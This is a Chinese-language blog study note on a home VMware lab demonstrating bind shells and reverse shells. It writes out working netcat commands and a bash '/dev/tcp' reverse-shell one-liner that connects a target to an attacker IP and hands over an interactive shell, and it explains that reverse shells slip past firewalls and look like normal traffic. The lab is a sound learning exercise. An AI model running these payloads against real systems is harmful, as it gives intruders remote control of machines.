正向shell,反弹shell学习
鉴于最近不知道为什么我的博客网站被冻结了.....今天又来这里记笔记了哈哈。今天打算通过VMware实验学习一把关于正向shell和反弹shell的学习。
靶机:192.168.112.150
攻击机:192.168.112.152
综合背景:
控制一台服务器,获得一个该服务器的shell。
正向shell
方式:在服务器192.168.112.150打开一个shell端口(例如nc -lvp 4444 -e /bin/bash
),然后用192.168.112.152去主动连接(nc 目标IP 4444
)服务器192.168.156.112那个端口,从而获得一个服务器192.168.156.112的shell。
192.168.112.150 靶机指令:
nc -lvp 4444 -e /bin/bash
这条命令会在本机服务器打开一个4444端口,任何连接到这个端口的人,都会直接获得一个本机Bash Shell命令权限。
参数详解
nc
是什么:
netcat
的命令。它是一个功能强大的网络工具,被誉为“网络瑞士军刀”,可以读写TCP和UDP连接。
-l
(Listen)作用:让
netcat
进入监听模式。含义:让本机扮演服务器的角色,等待其他机器来连接自己,而不是主动去连接别人。
-v
(Verbose)作用:详细输出模式。
含义:让
netcat
在终端显示更详细的信息,例如当有连接建立或断开时,会打印出提示。这在调试和观察状态时非常有用。
-p 4444
(Port)作用:指定要监听的端口号。
含义:告诉
netcat
在本地机器的 4444 号端口上进行监听。端口号可以任意更改(如1234, 8080等),但需确保该端口未被其他程序占用。
-e /bin/bash
(Execute)作用:这是整个命令的灵魂,也是最危险的部分。
-e
参数代表执行。含义:它命令
netcat
,一旦有客户端成功连接到本地的4444端口,就立即执行-e
后面的程序(这里是/bin/bash
,即Linux的Bourne Again Shell)。关键机制:不仅执行程序,还会将该程序的标准输入(stdin)、标准输出(stdout)和标准错误(stderr) 全部重定向到新建立的网络连接上。
192.168.112.152 攻击机指令:
nc 192.168.112.150 4444
本机作为客户端,主动去连接 IP 地址为 192.168.112.150 的服务器上的 4444 端口。
如图,攻击机成功连接到了靶机的4444端口,获得了靶机的shell。
弊端
目标服务器的防火墙通常会阻止外部设备主动发起的连接(入站规则)。你连不上它的端口。
即使端口开放,安全设备也容易发现这种“服务器监听异常端口”的可疑行为。
反弹shell
方式:让目标服务器主动连接到你的电脑。你在自己的电脑上先开启一个监听端口(nc -lvp 4444
),然后通过某种方式(比如利用一个漏洞)让目标服务器执行命令,连接你的IP和端口,并把它的Shell(如bash
或cmd.exe
)附加到这个连接上。
方法一:
192.168.112.152 攻击机指令:
nc -lvp 4444
注意:这里没有 -e 参数。攻击者只是单纯地开了一个门,手里并没有拿着Shell,他在等别人把Shell送上门。
攻击机正在监听4444端口。
192.168.112.150 靶机指令:
nc -e /bin/bash 192.168.112.152 4444
让靶机192.168.112.150主动发起一个出站连接,连接到攻击者监听的 192.168.112.152:4444,并在建立连接后,把自己的Bash Shell“送”过去。
如图我们的攻击机成功拿到了靶机送过来的靶机shell,并且成功执行命令。
方法二:
192.168.112.152 攻击机指令:
nc -lvp 4444
注意:这里没有 -e 参数。攻击者只是单纯地开了一个门,手里并没有拿着Shell,他在等别人把Shell送上门。
攻击机正在监听4444端口。
192.168.112.150 靶机指令:
echo $0
查看当前shell名称是bash还是zsh
通过指令发现192.168.112.150 靶机服务器shell环境是zsh
192.168.112.150 靶机指令:
bash
将靶机shell环境改为bash
bash -i >& /dev/tcp/192.168.112.152/4444 0>&1
bash -i >& /dev/tcp/192.168.112.152/4444 0>&1
它的唯一目的:向攻击者(IP: 192.168.112.152)的4444端口反弹一个交互式Shell。
命令分解
bash -i
bash
:启动一个 Bash shell。
-i
选项表示“交互式”(interactive),确保 Shell 有输入输出提示符,可以接受用户输入。
>& /dev/tcp/192.168.112.152/4444
>&
:这是 Bash 中的重定向操作符,表示将标准输出(stdout)和标准错误(stderr) 都重定向到后面的目标。
/dev/tcp/192.168.112.152/4444
:这是 Bash 的一个特殊功能(不是真实设备文件),它会尝试建立一个 TCP 连接到 IP 地址192.168.112.152
的4444
端口。
0>&1
0>
:表示重定向标准输入(stdin)(文件描述符 0)。
&1
:表示重定向到标准输出(stdout)(文件描述符 1)的当前位置(即之前重定向到的 TCP 连接)。所以,这表示将标准输入也重定向到 TCP 连接,使得该 Shell 的输入也来自网络连接。
整体效果
这条命令组合起来的效果是:
启动一个交互式 Bash Shell(
bash -i
)。将该 Shell 的标准输出(stdout)和标准错误(stderr) 都发送到 TCP 连接
192.168.112.152:4444
。同时,将标准输入(stdin) 也重定向到同一个 TCP 连接。
这样,攻击者(在
192.168.112.152
的 4444 端口监听)就可以:
接收目标机器(执行该命令的设备)的 Shell 输出(包括命令执行结果和错误信息)。
向目标机器发送命令(通过标准输入),实现远程控制。
注意事项
依赖Bash:这个命令只在Bash中有效。在Zsh、Fish等其他Shell中会报错(会以为/dev/tcp/是一个真实文件路径)。
靶机在bash环境下主动连接攻击机监听的4444端口,并且送出自己的shell。
攻击机情况:成功拿到了靶机的shell。
反弹shell优势
绕过防火墙:出站规则通常比入站规则宽松得多。服务器向外访问Web(80/443端口)或SSH(22端口)的行为很常见,不易被拦截。
隐藏连接源:对于目标网络内部来说,连接是由内向外发起的,看起来更像一个正常的网络请求。